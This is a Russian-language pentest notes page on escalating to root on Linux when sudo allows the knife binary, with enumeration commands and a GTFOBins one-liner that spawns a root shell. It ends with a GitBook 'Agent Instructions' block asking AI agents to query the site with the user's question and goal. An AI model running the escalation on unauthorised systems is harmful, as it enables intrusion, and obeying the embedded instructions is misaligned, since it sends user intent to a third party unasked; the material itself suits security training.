> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/privesc/sudoers/sudo-knife-linux-privilege-escalation.md).

# Sudo (Knife) - эскалация привилегий в Linux

Заметки по sudo (Knife) для эскалации привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчёт.

## Что это

Повышение привилегий через sudoers начинается с команд, которые пользователь может выполнять через `sudo`. Неправильно настроенные бинарные файлы, небезопасные аргументы скриптов, обработка символических ссылок и уязвимые версии sudo могут превратить ограниченные права sudo в root-оболочку. Эта конкретная страница посвящена **Sudo (Knife)** и делает процесс эксплуатации практичным: определить условие, безопасно его проверить, затем выполнить минимальную полезную нагрузку, необходимую для подтверждения воздействия.

## Перечисление

Сначала подтвердите локальный контекст и точную ошибку конфигурации, прежде чем запускать путь эксплуатации.

```bash
sudo -l
sudo --version
```

## Примеры

Запустив `sudo -l`, пользователь может запустить `knife` бинарный файл от имени root:

<div data-full-width="true"><figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3aae7701b2933a94582a159f0e469187282ba707%2F%7B0CD289DE-20E3-4A68-90F7-809556CDC11A%7D.png?alt=media" alt=""><figcaption></figcaption></figure></div>

Этот бинарный файл указан в GTFOBins как вектор повышения привилегий.

{% embed url="<https://gtfobins.github.io/gtfobins/knife/#sudo>" %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ab19e3e7db4f40eb5ba4599233702b2629afc992%2F%7BC093739F-84FF-462F-9D70-48951E7337C1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Эксплуатация**

Используйте команду выше, чтобы получить shell с правами root.

```bash
sudo /usr/bin/knife exec -E 'exec "/bin/sh"'
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c53e77489b706c0de4b3b32fda1da7a91b1d95b0%2Fimage%20(972).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/privesc/sudoers/sudo-knife-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
